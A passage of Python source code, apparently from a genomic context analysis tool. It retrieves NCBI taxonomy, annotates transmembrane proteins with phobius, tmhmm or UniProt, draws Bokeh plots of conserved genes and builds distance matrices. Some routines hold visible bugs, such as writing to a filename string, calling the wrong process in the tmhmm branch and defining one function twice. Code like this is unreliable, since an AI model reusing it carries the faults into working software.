list(set(taxonomy[superkingdom][phylum][taxclass][order][genus][species][key]))\n\n\treturn taxonomy\n\ndef map_taxonomy_to_targets(in_syntenies, mode = 'taxonomy', threads = 1):\n\n\t# Prepare all parallel jobs\n\tseparated_jobs = chunk_list(list(in_syntenies.keys()), threads)\n\n\tlist_arguments = [i for i in zip(separated_jobs, [in_syntenies for job in separated_jobs], [mode for job in separated_jobs], range(threads))]\n\n\tpool = ThreadPool(threads)\n\tresults = pool.imap_unordered(map_taxonomy, list_arguments)\n\n\ttaxonomy = {}\n\tfor dic in results:\n\t\ttaxonomy = merge_taxonomy_dictionaries(taxonomy, dic)\n\n\treturn taxonomy\n\ndef map_taxonomy(arguments):\n\n\ttargets = arguments[0]\n\tin_syntenies = arguments[1]\n\tmode = arguments[2]\n\tthread_id = arguments[3]\n\n\tout_json = '{}_taxonomy.json'.format(thread_id)\n\tif os.path.isfile(out_json) and mode == 'taxonomy':\n\t\ttaxonomy = json.load(open(out_json, 'r'))\n\telse:\n\t\ttaxonomy = {}\n\n\t\tfor curr_target in targets:\n\t\t\tncbi_code = in_syntenies[curr_target]['assembly_id'][0]\n\t\t\ttaxID = in_syntenies[curr_target]['flanking_genes']['taxID']\n\t\t\tspecies = in_syntenies[curr_target]['flanking_genes']['species']\n\n\t\t\ttry:\t\n\t\t\t \n\t\t\t\tsuperkingdom = 'na'\n\t\t\t\tphylum = 'na'\n\t\t\t\ttaxclass = 'na'\n\t\t\t\torder = 'na'\n\t\t\t\tgenus = 'na'\n\n\t\t\t\tif mode == 'taxonomy':\n\t\t\t\t\tif species.split()[0] == 'uncultured':\n\t\t\t\t\t genus = species.split()[1]\n\t\t\t\t\telse:\n\t\t\t\t\t genus = species.split()[0]\n\t\t\t \n\t\t\t\t\ttaxsearch = Entrez.efetch(id = taxID, db = \"taxonomy\", retmode = \"xml\")\n\t\t\t\t\ttaxrecords = Entrez.parse(taxsearch)\n\t\t\t\t\tfor taxrecord in taxrecords:\n\t\t\t\t\t\ttaxrecord = taxrecord\n\n\t\t\t\t\tfor level in taxrecord[u\"LineageEx\"]:\n\t\t\t\t\t\tif level[u\"Rank\"] == \"superkingdom\":\n\t\t\t\t\t\t superkingdom = level[u\"ScientificName\"]\n\t\t\t\t\t\telif level[u\"Rank\"] == \"phylum\":\n\t\t\t\t\t\t phylum = level[u\"ScientificName\"]\n\t\t\t\t\t\telif level[u\"Rank\"] == \"class\":\n\t\t\t\t\t\t taxclass = level[u\"ScientificName\"]\n\t\t\t\t\t\telif level[u\"Rank\"] == \"order\":\n\t\t\t\t\t\t order = level[u\"ScientificName\"]\n\n\t\t\t\t\tif phylum == 'na':\n\t\t\t\t\t\tphylum = '{}_na'.format(superkingdom)\n\t\t\t\t\tif taxclass == 'na':\n\t\t\t\t\t\ttaxclass = '{}_na'.format(phylum)\n\t\t\t\t\tif order == 'na':\n\t\t\t\t\t\torder = '{}_na'.format(taxclass)\n\n\t\t\t\tif superkingdom not in taxonomy.keys():\n\t\t\t\t\ttaxonomy[superkingdom] = {}\n\t\t\t\t \n\t\t\t\tif phylum not in taxonomy[superkingdom].keys():\n\t\t\t\t\ttaxonomy[superkingdom][phylum] = {}\n\n\t\t\t\tif taxclass not in taxonomy[superkingdom][phylum].keys():\n\t\t\t\t\ttaxonomy[superkingdom][phylum][taxclass] = {}\n\n\t\t\t\tif order not in taxonomy[superkingdom][phylum][taxclass].keys():\n\t\t\t\t\ttaxonomy[superkingdom][phylum][taxclass][order] = {}\n\n\t\t\t\tif genus not in taxonomy[superkingdom][phylum][taxclass][order].keys():\n\t\t\t\t\ttaxonomy[superkingdom][phylum][taxclass][order][genus] = {}\n\t\t\t\t \n\t\t\t\tif species not in taxonomy[superkingdom][phylum][taxclass][order][genus].keys():\n\t\t\t\t\ttaxonomy[superkingdom][phylum][taxclass][order][genus][species] = {'ncbi_codes': [], 'target_members': []}\n\n\t\t\t\ttaxonomy[superkingdom][phylum][taxclass][order][genus][species]['target_members'].append(curr_target)\n\t\t\t\ttaxonomy[superkingdom][phylum][taxclass][order][genus][species]['ncbi_codes'].append(ncbi_code)\n\n\t\t\t\tif mode == 'taxonomy':\n\t\t\t\t\tjson.dump(taxonomy, open(out_json, 'w'), indent=4)\n\n\t\t\texcept:\n\t\t\t\tprint(' ... ... Not possible to find taxonomy for {} ({})'.format(curr_target, ncbi_code))\n\n\treturn taxonomy\n\n# 8. Routines to annotate transmembrane segments and signal peptides\n\ndef run_TM_signal_peptide_annotation(in_fasta, annotation_TM_mode = None):\n\n\tout_file = '{}_{}.out'.format(in_fasta[:-6], annotation_TM_mode)\n\n\tif not os.path.isfile(out_file):\n\t\tif annotation_TM_mode == 'phobius':\n\t\t\ttry:\n\t\t\t\trun_phobius = sp.Popen(['phobius.pl', in_fasta, '-short'], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\t\t\t\tstdout, stderr = run_phobius.communicate()\n\t\t\texcept:\n\t\t\t\tstderr = \" --> ERROR: There's no phobius installation\"\n\t\t\t\tstdout = \"\"\n\n\t\t\tif len(stderr) > 0 or len(stdout) == 0:\n\t\t\t\tprint(stderr)\n\t\t\t\tprint('\t Run phobius online and come back with the input file')\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\twith open(out_file, 'w') as outf:\n\t\t\t\t\tout_file.write(stdout)\n\n\n\t\telif annotation_TM_mode == 'tmhmm':\n\n\t\t\ttry:\n\t\t\t\trun_tmhmm = sp.Popen(['tmhmm', in_fasta, '-short'], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\t\t\t\tstdout, stderr = run_phobius.communicate()\n\t\t\texcept:\n\t\t\t\tstderr = \" --> ERROR: There's no tmhmm installation\"\n\t\t\t\tstdout = \"\"\n\n\t\t\tif len(stderr) > 0 or len(stdout) == 0:\n\t\t\t\tprint(stderr)\n\t\t\t\tprint('\t Run tmhmm online and come back with the input file')\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\twith open(out_file, 'w') as outf:\n\t\t\t\t\tout_file.write(stdout)\n\n\t\telif annotation_TM_mode == 'uniprot':\n\t\t\t\n\t\t\tncbi_codes = list(parse_fasta_file(in_fasta).keys())\n\t\t\tuniprot_codes = map_codes_to_uniprot(ncbi_codes)\n\n\t\t\twith open(out_file, 'w') as outf:\n\t\t\t\tfor ncbi_code in ncbi_codes:\n\t\t\t\t\tuniprot_code = uniprot_codes[ncbi_code]\n\t\t\t\t\tcurr_uniprot_annotations = get_uniprot_annotations(uniprot_code)\n\n\t\t\t\t\tif curr_uniprot_annotations != 'nan':\n\t\t\t\t\t\ttm_annotation = curr_uniprot_annotations['TM_topology']\n\t\t\t\t\t\tif tm_annotation == '':\n\t\t\t\t\t\t\ttm_annotation = 'nan'\n\t\t\t\t\telse:\n\t\t\t\t\t\ttm_annotation = 'nan'\n\t\t\t\t\toutf.write('{}\\t{}\\n'.format(ncbi_code, tm_annotation))\n\n\t\telse:\n\t\t\tprint(' ... ... ... {} mode not allowed')\n\n\treturn out_file\n\ndef parse_fasta_file(infasta, sep = '|'):\n\n\tsequences = {}\n\n\twith open(infasta, 'r') as infst:\n\t\tfor line in infst:\n\t\t\tif line.startswith('>'):\n\t\t\t\tncbi_code = line.split('|')[0].replace('>','')\n\t\t\telse:\n\t\t\t\tsequences[ncbi_code] = line.strip()\n\n\treturn sequences\n\ndef parse_annotation_TM_file(annotation_TM_file, annotation_TM_mode):\n\n\tif annotation_TM_mode == 'phobius':\n\t\tannotations = parse_phobius_output(annotation_TM_file)\n\n\telif annotation_TM_mode == 'tmhmm':\n\t\tannotations = parse_tmhmm_output(annotation_TM_file)\n\n\telif annotation_TM_mode == 'uniprot':\n\t\tannotations = parse_tm_uniprot_output(annotation_TM_file)\n\n\telse:\n\t\tprint(' ... ... ... {} mode not allowed')\n\t\tannotations = {}\n\n\treturn annotations\n\ndef parse_phobius_output(annotation_TM_file):\n\n\tannotations = {}\n\n\twith open(annotation_TM_file, 'r') as outphobius:\n\t\tfor line in outphobius:\n\t\t\tif 'PREDICTION' not in line:\n\t\t\t\tncbi_code = line.split('|')[0]\n\t\t\t\ttm_pred = int(line.split()[1])\n\t\t\t\tsp_pred = line.split()[2]\n\n\t\t\t\tif tm_pred > 0:\n\t\t\t\t\tannotations[ncbi_code] = 'TM' # it has a transmembrane helix -> it is transmembrane\n\t\t\t\telif sp_pred == 'Y':\n\t\t\t\t\tannotations[ncbi_code] = 'SP' # it has a signal peptide\n\t\t\t\telse:\n\t\t\t\t\tannotations[ncbi_code] = '' # does not have any special feature\n\n\treturn annotations\n\ndef parse_tmhmm_output(annotation_TM_file):\n\n\tannotations = {}\n\n\twith open(annotation_TM_file, 'r') as outphobius:\n\t\tfor line in outphobius:\n\t\t\tif 'PREDICTION' not in line:\n\t\t\t\tncbi_code = line.split('|')[0]\n\t\t\t\ttm_pred = line.split('Topology=')[-1].strip()\n\n\t\t\t\tif tm_pred != 'o' and tm_pred != 'i':\n\t\t\t\t\tannotations[ncbi_code] = 'TM' # it has a transmembrane helix -> it is transmembrane\n\t\t\t\telse:\n\t\t\t\t\tannotations[ncbi_code] = '' # does not have any special feature (signal peptides are not identified)\n\n\treturn annotations\n\ndef parse_tm_uniprot_output(annotation_TM_file):\n\n\tannotations = {}\n\n\twith open(annotation_TM_file, 'r') as outuniprot:\n\t\tfor line in outuniprot:\n\t\t\tncbi_code = line.split()[0]\n\t\t\ttm_pred = line.split()[-1].strip()\n\n\t\t\tif tm_pred != 'nan':\n\t\t\t\tannotations[ncbi_code] = 'TM' \n\t\t\telse:\n\t\t\t\tannotations[ncbi_code] = '' \n\n\treturn annotations\n\ndef add_TM_annotations_to_flanking_genes(in_syntenies, protein_annotations):\n\n\tfor curr_target in in_syntenies:\n\t\tflanking_genes = in_syntenies[curr_target]['flanking_genes']\n\t\tflanking_genes['TM_annotations'] = []\n\n\t\tfor ncbi_code in flanking_genes['ncbi_codes']:\n\t\t\tif ncbi_code in protein_annotations:\n\t\t\t\tflanking_genes['TM_annotations'].append(protein_annotations[ncbi_code])\n\t\t\telse:\n\t\t\t\tflanking_genes['TM_annotations'].append('')\n\n\t\tin_syntenies[curr_target]['flanking_genes'] = flanking_genes\n\n\t\tjson.dump(in_syntenies, open('all_syntenies.json', 'w'), indent = 4)\n\t\t\n\treturn in_syntenies\n\n# 9. Routines to make interactive output html file\n\n# 9.1. Routines to draw most conserved features\n\ndef find_most_common_genomic_context(operons, all_syntenies, n_flanking5=None, n_flanking3=None):\n\t\n\t# will use only the complete genomic contexts and ignore the partial ones\t\n\toperon_matrix = []\n\tfor operon in operons:\n\t\tfor curr_context in operons[operon]['operon_protein_families_structure']:\n\t\t\tif len(curr_context) == n_flanking5+n_flanking3+1:\n\t\t\t\toperon_matrix.append(curr_context)\n\t\n\toperon_matrix = np.array(operon_matrix).T\n\t\n\tmost_common_context = {'selected_context': [],\n\t\t\t\t\t\t 'families_frequency': [],\n\t\t\t\t\t\t 'average_starts': [],\n\t\t\t\t\t\t 'average_ends': [],\n\t\t\t\t\t\t 'average_size': [],\n\t\t\t\t\t\t 'stdev_size': [],\n\t\t\t\t\t\t 'directions': [],\n\t\t\t\t\t\t 'tm_annotations': []}\n\n\tfor i, column in enumerate(operon_matrix):\n\t\toccurence_count = Counter(column) \n\t\tmost_common_family = occurence_count.most_common(1)[0][0]\n\n\t\tmost_common_context['selected_context'].append(most_common_family)\n\t\tmost_common_context['families_frequency'].append(round(occurence_count.most_common(1)[0][1]*100/len(column), 1))\n\n\t\tall_starts_of_most_common = []\n\t\tall_ends_of_most_common = []\n\t\tall_orientations = []\n\t\tall_sizes = []\n\t\tall_tm_annotations = []\n\n\t\tfor operon in operons:\n\t\t\tfor j, curr_context in enumerate(operons[operon]['operon_protein_families_structure']):\n\t\t\t\tcurr_target = operons[operon]['target_members'][j]\n\t\t\t\n\t\t\t\tif len(curr_context) == n_flanking5+n_flanking3+1:\t\t\t\n\t\t\t\t\tif operons[operon]['operon_protein_families_structure'][j][i] == most_common_family:\n\t\t\t\t\t\tall_starts_of_most_common.append(all_syntenies[curr_target]['flanking_genes']['relative_starts'][i])\n\t\t\t\t\t\tall_ends_of_most_common.append(all_syntenies[curr_target]['flanking_genes']['relative_ends'][i])\n\t\t\t\t\t\tall_sizes.append((all_syntenies[curr_target]['flanking_genes']['relative_ends'][i] - all_syntenies[curr_target]['flanking_genes']['relative_starts'][i])/3)\n\t\t\t\t\t\tall_orientations.append(all_syntenies[curr_target]['flanking_genes']['directions'][i])\n\t\t\t\t\t\t\n\t\t\t\t\t\tif 'TM_annotations' in all_syntenies[curr_target]['flanking_genes']:\n\t\t\t\t\t\t\tall_tm_annotations.append(all_syntenies[curr_target]['flanking_genes']['TM_annotations'][i])\n\t\t\n\t\tmost_common_context['average_starts'].append(int(statistics.median(all_starts_of_most_common)))\n\t\tmost_common_context['average_ends'].append(int(statistics.median(all_ends_of_most_common)))\n\t\tmost_common_context['average_size'].append(int(statistics.median(all_sizes)))\n\t\tmost_common_context['stdev_size'].append(int(stats.median_abs_deviation(all_sizes)))\n\t\t\n\t\ttry:\n\t\t\tmost_common_context['directions'].append(statistics.mode(all_orientations))\n\t\texcept:\n\t\t\tmost_common_context['directions'].append('+')\n\t\t\n\t\ttry:\n\t\t\tmost_common_context['tm_annotations'].append(statistics.mode(all_tm_annotations))\n\t\texcept:\n\t\t\tmost_common_context['tm_annotations'].append('')\n\t\t\n\treturn most_common_context\n\ndef create_most_common_genomic_context_features(most_common_context, families_summary, reference_family, family_colors):\n\n\tdata = {'xs': [],\n\t\t\t'ys': [],\n\t\t\t'edgecolor': [],\n\t\t\t'facecolor': [],\n\t\t\t'text_x': [],\n\t\t\t'text_y': [],\n\t\t\t'family': [],\n\t\t\t'tm_text_x': [],\n\t\t\t'tm_text_y': [],\n\t\t\t'tm_text': [],\n\t\t\t'tm_pred_text': [],\n\t\t\t'protein_name': [],\n\t\t\t'protein_size': [],\n\t\t\t'family_frequency': [],\n\t\t\t'transparency': [],\n\t\t\t'relative_start': [],\n\t\t\t'relative_end': [],\n\t\t\t'found_models': [],\n\t\t\t'model_links': []}\n\t\n\tfor i, family in enumerate(most_common_context['selected_context']):\n\t\tgene_dx = most_common_context['average_ends'][i] - most_common_context['average_starts'][i]+1\n\t\tgene_direction = most_common_context['directions'][i]\n\n\t\tif gene_direction == '-':\n\t\t\tgene_x_tail = most_common_context['average_ends'][i]\n\t\t\tgene_dx = gene_dx*(-1)\n\t\t\tgene_x_head = gene_x_tail + gene_dx\n\t\t\tgene_x_head_start = gene_x_head+100\n\t\t\ttext_x = gene_x_tail - (gene_x_tail-gene_x_head_start)/2\n\t\telse:\n\t\t\tgene_x_tail = most_common_context['average_starts'][i]\n\t\t\tgene_x_head = gene_x_tail + gene_dx\n\t\t\tgene_x_head_start = gene_x_head-100\n\t\t\ttext_x = gene_x_tail + (gene_x_head_start-gene_x_tail)/2\n\n\t\tif family == 0:\n\t\t\tfacecolor = family_colors[family]['Color (RGBA)']\n\t\t\tedgecolor = family_colors[family]['Line color']\n\t\t\tlinestyle = family_colors[family]['Line style']\n\t\telse:\n\t\t\tfacecolor = family_colors[family]['Color (RGBA)']\n\t\t\tedgecolor = family_colors[family]['Line color']\n\t\t\tlinestyle = family_colors[family]['Line style'] \n\t\t\n\t\tif family == 0:\n\t\t\trelative_start = 'n.a.'\n\t\t\trelative_end = 'n.a.'\n\t\t\tfamily_frequency = 'n.a.'\n\t\t\tprotein_size = 'n.a.' \n\t\t\tprotein_name = 'n.a.'\n\t\t\ttransparency = 0.2\n\t\t\ttm_annotation = ''\n\t\t\ttm_pred_text = 'n.a.'\n\t\telse:\n\t\t\trelative_start = format(gene_x_tail, ',d')\n\t\t\trelative_end = format(gene_x_head, ',d')\n\t\t\tfamily_frequency = '{}%'.format(most_common_context['families_frequency'][i])\n\t\t\tprotein_size = r'{} ({})'.format(most_common_context['average_size'][i], most_common_context['stdev_size'][i])\n\t\t\tprotein_name = families_summary[family]['name']\n\t\t\ttransparency = most_common_context['families_frequency'][i]/100 \n\t\t\t\n\t\t\tif 'tm_annotations' in most_common_context:\n\t\t\t\ttm_annotation = most_common_context['tm_annotations'][i]\n\t\t\t\tif tm_annotation == 'TM':\n\t\t\t\t\ttm_pred_text = 'Yes'\n\t\t\t\telif tm_annotation == 'SP':\n\t\t\t\t\ttm_pred_text = 'Contains signal peptide'\n\t\t\t\telse:\n\t\t\t\t\ttm_pred_text = 'No'\n\t\t\telse:\n\t\t\t\ttm_annotation = ''\n\t\t\t\ttm_pred_text = 'n.a.' \n\t\t\t\t\n\t\tdata['relative_start'].append(relative_start)\n\t\tdata['relative_end'].append(relative_end)\n\t\tdata['facecolor'].append(facecolor)\n\t\tdata['edgecolor'].append(edgecolor)\n\t\tdata['family_frequency'].append(family_frequency)\n\t\tdata['protein_size'].append(protein_size)\n\t\tdata['protein_name'].append(protein_name)\n\t\tdata['xs'].append([gene_x_tail, gene_x_tail, gene_x_head_start, gene_x_head, gene_x_head_start])\n\t\tdata['ys'].append([1-0.25, 1+0.25, 1+0.25, 1, 1-0.25])\n\t\tdata['text_x'].append(text_x)\n\t\tdata['text_y'].append(1+0.25)\n\t\tdata['transparency'].append(transparency)\n\t\t\n\t\tdata['tm_text'].append(tm_annotation)\n\t\tdata['tm_text_x'].append(text_x)\n\t\tdata['tm_text_y'].append(1)\n\t\tdata['tm_pred_text'].append(tm_pred_text)\n\n\t\tif family != 0 and family != reference_family and family < 10000:\n\t\t\tdata['family'].append(family)\n\t\telse:\n\t\t\tdata['family'].append(str(''))\n\t\t\n\t\tif 'model_state' in families_summary[family]:\n\t\t\tmodel_state = families_summary[family]['model_state']\n\n\t\t\tif model_state == 'Model exists':\n\t\t\t\tmodel_state = 'Yes (click to view in Swiss-Model repository)'\n\t\t\telif model_state == 'Model does not exist':\n\t\t\t\tmodel_state = 'No (click to model with Swiss-Model)'\n\t\t\telse:\n\t\t\t\tif family > 0 and family < 10000:\n\t\t\t\t\tmodel_state = 'Not possible to find'\n\t\t\t\telse:\n\t\t\t\t\tmodel_state = ''\n\t\t\t\n\t\t\tstructure = families_summary[family]['structure']\n\t\t\tif structure == '':\n\t\t\t\tuniprot_code = families_summary[family]['uniprot_code']\n\t\t\t\tstructure = 'https://swissmodel.expasy.org/repository/uniprot/{}'.format(uniprot_code)\n\t\t\t\n\t\telse:\n\t\t\tmodel_state = 'n.a.'\n\t\t\tstructure = 'n.a.'\n\t\t\n\t\tdata['found_models'].append(model_state)\n\t\tdata['model_links'].append(structure)\n\t\t\n\ttooltips = [('Protein name', \"@protein_name\"),\n\t\t\t\t(\"Predicted membrane protein\", \"@tm_pred_text\"),\n\t\t\t\t('Structural model found', '@found_models'),\n\t\t\t\t('Frequency in position', '@family_frequency'),\n\t\t\t\t('Median protein size', '@protein_size'),\n\t\t\t\t('Median starting position', '@relative_start'),\n\t\t\t\t('Median end position', '@relative_end')] \n\t\n\treturn tooltips, data\n\ndef create_most_common_genomic_features_figure(operons, all_syntenies, families_summary, reference_family, family_colors, n_flanking5=None, n_flanking3=None):\n\t\n\tmost_common_context = find_most_common_genomic_context(operons, all_syntenies, n_flanking5=n_flanking5, n_flanking3=n_flanking3)\n\t\t\t\n\tgc_tooltips, gc_data = create_most_common_genomic_context_features(most_common_context, families_summary, reference_family = reference_family, family_colors = family_colors)\n\t\t\n\tgc = figure(plot_width=2000, plot_height=200, y_range = [0, 4], title = 'Most conserved gene per position', toolbar_location=\"left\")\n\n\tfor i, xs in enumerate(gc_data['xs']):\n\t\tgc.patch(xs, gc_data['ys'][i], fill_color = gc_data['facecolor'][i], line_color = gc_data['edgecolor'][i], fill_alpha = gc_data['transparency'][i], line_alpha = gc_data['transparency'][i], line_width = 1)\t\n\t\n\tgc.patches('xs', 'ys', fill_color = None, line_color = None, line_width = 0, source = gc_data, \n\t\t\t hover_fill_color = 'white', hover_line_color = 'edgecolor', hover_fill_alpha = 0.5, \n\t\t\t selection_fill_color='facecolor', selection_line_color='edgecolor',\n\t\t\t nonselection_fill_color='facecolor', nonselection_line_color='edgecolor', nonselection_fill_alpha=0.2)\n\n\tgc.text('text_x', 'text_y', text = 'family', text_baseline=\"bottom\", text_align=\"center\", text_font_size = {'value': '6pt'}, source = gc_data)\n\tgc.text('tm_text_x', 'tm_text_y', text = 'tm_text', text_color = \"white\", text_baseline=\"middle\", text_align=\"center\", text_font_size = {'value': '6pt'}, source = gc_data)\n\t\n\tgc.yaxis.ticker = [1]\n\tgc.yaxis.major_label_overrides = {1: max([all_syntenies[target]['species'] for target in all_syntenies], key=len)}\n#\t gc.yaxis.major_label_text_font_size = {'value': '8pt'}\n\t\n\tgc.yaxis.major_tick_line_color = None # turn off y-axis major ticks\n\tgc.yaxis.minor_tick_line_color = None # turn off y-axis minor ticks\n\tgc.yaxis.major_label_text_color = None # turn off y-axis tick labels leaving space \n\tgc.yaxis.axis_line_width = 0\n\n\t# define general features\n\tgc.grid.visible = False\n\tgc.outline_line_width = 0\n\t\n\t# define xticks\n\tgc.xaxis.axis_label = \"Position relative to target (bp)\"\n\t\n\tgc.add_tools(HoverTool(tooltips=gc_tooltips))\n\tgc.add_tools(TapTool(callback = OpenURL(url='@model_links')))\n\t\n\treturn gc\n\ndef create_most_common_genomic_features_figure(operons, all_syntenies, families_summary, reference_family, family_colors, n_flanking5=None, n_flanking3=None):\n\t\n\tmost_common_context = find_most_common_genomic_context(operons, all_syntenies, n_flanking5=n_flanking5, n_flanking3=n_flanking3)\n\t\t\t\n\tgc_tooltips, gc_data = create_most_common_genomic_context_features(most_common_context, families_summary, reference_family = reference_family, family_colors = family_colors)\n\t\t\n\tgc = figure(plot_width=2000, plot_height=200, y_range = [0, 4], title = 'Most conserved gene per position', toolbar_location=\"left\")\n\n\tfor i, xs in enumerate(gc_data['xs']):\n\t\tgc.patch(xs, gc_data['ys'][i], fill_color = gc_data['facecolor'][i], line_color = gc_data['edgecolor'][i], fill_alpha = gc_data['transparency'][i], line_alpha = gc_data['transparency'][i], line_width = 1)\t\n\t\n\tgc.patches('xs', 'ys', fill_color = None, line_color = None, line_width = 0, source = gc_data, \n\t\t\t hover_fill_color = 'white', hover_line_color = 'edgecolor', hover_fill_alpha = 0.5, \n\t\t\t selection_fill_color='facecolor', selection_line_color='edgecolor',\n\t\t\t nonselection_fill_color='facecolor', nonselection_line_color='edgecolor', nonselection_fill_alpha=0.2)\n\n\tgc.text('text_x', 'text_y', text = 'family', text_baseline=\"bottom\", text_align=\"center\", text_font_size = {'value': '6pt'}, source = gc_data)\n\tgc.text('tm_text_x', 'tm_text_y', text = 'tm_text', text_color = \"white\", text_baseline=\"middle\", text_align=\"center\", text_font_size = {'value': '6pt'}, source = gc_data)\n\t\n\tgc.yaxis.ticker = [1]\n\tgc.yaxis.major_label_overrides = {1: max([all_syntenies[target]['species'] for target in all_syntenies], key=len)}\n\tgc.yaxis.major_label_text_font_size = {'value': '8pt'}\n\t\n\tgc.yaxis.major_tick_line_color = None # turn off y-axis major ticks\n\tgc.yaxis.minor_tick_line_color = None # turn off y-axis minor ticks\n\tgc.yaxis.major_label_text_color = None # turn off y-axis tick labels leaving space \n\tgc.yaxis.axis_line_width = 0\n\n\t# define general features\n\tgc.grid.visible = False\n\tgc.outline_line_width = 0\n\t\n\t# define xticks\n\tgc.xaxis.axis_label = \"Position relative to target (bp)\"\n\t\n\tgc.add_tools(HoverTool(tooltips=gc_tooltips))\n\tgc.add_tools(TapTool(callback = OpenURL(url='@model_links')))\n\t\n\treturn gc\n\n# 9.2. Routines to make the dendogram\n\ndef get_taxonomy_distance_matrix(taxonomy, operons, input_targets = None, mode = 'taxonomy'):\n\t\n\ttargets_taxonomy_vector = {}\n\n\tfor superkingdom in taxonomy:\n\t\tfor phylum in taxonomy[superkingdom]:\n\t\t\tfor taxclass in taxonomy[superkingdom][phylum]:\n\t\t\t\tfor order in taxonomy[superkingdom][phylum][taxclass]:\n\t\t\t\t\tfor genus in taxonomy[superkingdom][phylum][taxclass][order]:\n\t\t\t\t\t\tfor species in taxonomy[superkingdom][phylum][taxclass][order][genus]:\n\t\t\t\t\t\t\tfor target in taxonomy[superkingdom][phylum][taxclass][order][genus][species]['target_members']:\n\t\t\t\t\t\t\t\t# find if this target is in the operons\n\t\t\t\t\t\t\t\toperon = [operon for operon in operons if target in operons[operon]['target_members']]\n\t\t\t\t\t\t\t\tif len(operon) > 0:\n\t\t\t\t\t\t\t\t\ttargets_taxonomy_vector[target] = [superkingdom, phylum, taxclass, order, genus, species]\n\n\tif mode == 'taxonomy':\n\n\t\tlabels = sorted(list(targets_taxonomy_vector.keys()))\n\t\ttaxonomy_distance_matrix = [[0 for label in targets_taxonomy_vector] for label in targets_taxonomy_vector]\n\n\t\tfor i, target_i in enumerate(labels):\n\t\t\tvector_i = targets_taxonomy_vector[target_i]\n\t\t\tfor j, target_j in enumerate(labels):\n\t\t\t\tvector_j = targets_taxonomy_vector[target_j]\n\t\t\t\tif i >= j:\n\t\t\t\t\tdist = 0\n\t\t\t\t\tfor k, level in enumerate(vector_i):\n\t\t\t\t\t\tif level != vector_j[k]:\n\t\t\t\t\t\t\tdist = 6-k\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\t\tif dist == 1: # it means they correspond to different species. check if they are just not different strains and fuse them if so\n\t\t\t\t\t\tif len(list(set(vector_i[-1].split()) & set(vector_j[-1].split()))) >= 2: # it means they share the genus and the species at least\n\t\t\t\t\t\t\tdist = 0\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\ttaxonomy_distance_matrix[i][j] = dist\n\t\t\t\t\ttaxonomy_distance_matrix[j][i] = dist\n\n\telif mode == 'as_input':\n\t\tlabels = list(targets_taxonomy_vector.keys())\n\t\ttaxonomy_distance_matrix = [[0 for label in targets_taxonomy_vector] for label in targets_taxonomy_vector]\n\n\t\tif input_targets != None:\n\t\t\tlabels = [in_target for in_target in input_targets if in_target in labels]\n\t\n\ttaxonomy_distance_matrix = np.array(taxonomy_distance_matrix)\n\t\n\treturn taxonomy_distance_matrix, labels \n\ndef get_phylogeny_distance_matrix(in_tree, tree_format = None, input_targets = None, print_tree = True):\n\n\tif starting_directory not in in_tree:\n\t\tin_tree = '{}/{}'.format(starting_directory, in_tree)\n\n\ttree = Phylo.read(in_tree, tree_format) \n\n\tif print_tree:\n\t\tprint(' ... Input tree: \\n')\n\t\tPhylo.draw_ascii(tree)\n\n\ttree.ladderize()\n\ttree_depths = tree.depths()\t\n\tif not max(tree_depths.values()): \n\t\ttree_depths = tree.depths(unit_branch_lengths=True) \n\n\tmax_depth = max([tree_depths[clade] for clade in tree_depths if clade.name != None])\n\n\t# align everything to the right by extending the branches\n\tall_leafs = []\n\tfor clade in tree.get_terminals():\n\t\tcurr_depth = tree_depths[clade]\n\t\tclade.branch_length += max_depth - curr_depth\n\t\tall_leafs.append(clade.name)\n\n\t# remove branches that are not in our dataset\n\tfor leaf in all_leafs:\n\t\tif leaf not in input_targets:\n\t\t\ttree.prune(leaf)\n\n\tlabels = [leaf.name for leaf in tree.get_terminals()]\n\n\tdistance_matrix = [[0 for leaf in labels] for leaf in labels]\n\tfor i, leaf_i in enumerate(labels):\n\t\tfor j, leaf_j in enumerate(labels):\n\t\t\tdistance_matrix[i][j] = tree.distance(leaf_i, leaf_j)\n\n\tdistance_matrix = np.array(distance_matrix)\n\n\tPhylo.write(tree, 'out_tree.nwk', 'newick')\n\n\treturn distance_matrix, labels\n\ndef get_operons_distance_matrix(operons, input_targets = None, advanced = False):\n\n\tlabels = []\n\n\tif 'operon_filtered_PaCMAP' in operons[list(operons.keys())[0]]:\n\t\tpaCMAP_coordinat = []\n\t\tfor operon_type in operons:\n\t\t\tfor i, target in enumerate(operons[operon_type]['target_members']):\n\t\t\t\tif input_targets is None or target in input_targets:\n\t\t\t\t\tpaCMAP_coordinat.append(operons[operon_type]['operon_filtered_PaCMAP'][i])\n\t\t\t\t\tlabels.append(target)\n\n\t\tdistance_matrix = [[0 for i in paCMAP_coordinat] for j in paCMAP_coordinat]\n\t\tfor i, vector_i in enumerate(paCMAP_coordinat):\n\t\t\tfor j, vector_j in enumerate(paCMAP_coordinat):\n\t\t\t\tif i < j:\n\t\t\t\t\tdist = np.linalg.norm(np.array(vector_i) - np.array(vector_j))\n\t\t\t\t\tdistance_matrix[i][j] = dist\n\t\t\t\t\tdistance_matrix[j][i] = dist\n\n\telse:\n\t\tgenomic_contexts = []\n\t\tfor operon_type in operons:\n\t\t\tfor i, target in enumerate(operons[operon_type]['target_members']):\n\t\t\t\tif input_targets is None or target in input_targets:\n\t\t\t\t\tgenomic_contexts.append(operons[operon_type]['operon_protein_families_structure'][i])\n\t\t\t\t\tlabels.append(target)\n\n\t\tdistance_matrix = [[0 for i in genomic_contexts] for j in genomic_contexts]\n\t\tfor i, vector_i in enumerate(genomic_contexts):\n\t\t\tfor j, vector_j in enumerate(genomic_contexts):\n\t\t\t\tif i < j:\n\t\t\t\t\tfamilies_present = set(vector_i+vector_j)\n\t\t\t\t\toverlapping_families = set(vector_i).intersection(set(vector_j))\n\t\t\t\t\tdist = 1-len(overlapping_families)/len(families_present)\n\t\t\t\t\tdistance_matrix[i][j] = dist\n\t\t\t\t\tdistance_matrix[j][i] = dist\n\n\treturn distance_matrix, labels\n\ndef get_avgoperons_distance_matrix(operons):\n\t\t\n\tmatrix = [[0 for i in operons if '-' not in i] for i in operons if '-' not in i]\n\t\n\tselected_operons = [i for i in operons if '-' not in i]\n\tselected_operons = sorted(selected_operons)\n\tfor i, i_operon_type in enumerate(selected_operons):\n\t\tfor j, j_operon_type in enumerate(selected_operons):\n\t\t\tif i > 